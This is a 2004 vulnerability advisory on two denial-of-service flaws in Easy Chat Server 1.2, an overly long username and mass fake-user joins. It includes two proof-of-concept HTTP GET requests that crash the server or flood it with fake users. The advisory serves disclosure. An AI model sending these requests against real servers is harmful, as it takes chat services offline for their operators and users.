Multiple Vulnerabilities in Easy Chat Server 1.2
Donato Ferrante
Application: Easy Chat Server
http://www.echatserver.com/
Version: 1.2
Bugs: Multiple Vulnerabilities
Date: 02-Jul-2004
Author: Donato Ferrante
e-mail: fdonato@xxxxxxxxxxxxx
web: www.autistici.org/fdonato
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
1. Description
2. The bugs
3. The code
4. The fix
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
----------------
1. Description:
----------------
Vendor's Description:
"Easy Chat Server is a easy, fast and affordable way to host and manage
your own real-time communication software, it allows friends/colleagues
to chat with you through a Web Browser (IE, Netscape, Mozilla, Opera
etc.) on any computer (Windows, Linux, Solaris...) without any special
plug-ins or software. It can help you setup your community chat rooms,
collaborative work sessions or online meetings."
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-------------
2. The bugs:
-------------
The program has two DoS vulnerabilties, due to:
- long username
- fake users
[1] The program doesn't correctly manage the username, in fact if you
try to send a big username string to the server it will crash.
[2] The program has no strong checks on the users who join into free
rooms. In fact it's possible to add a large number of fake users
and the chat server will go down.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-------------
3. The code:
-------------
To test the vulnerabilities:
[1]
GET /chat.ghp?username=aaaa[ 295 of a ]aaaa&password=&room=1&sex=0
Host: http://[host]
[2]
GET /chat.ghp?username=FakeUser&password=&room=1&sex=0
Host: http://[host]
( this will add a fake user with name: FakeUser )
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
------------
4. The fix:
------------
Vendor was contacted.
Bugs will be fixed in the next version.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx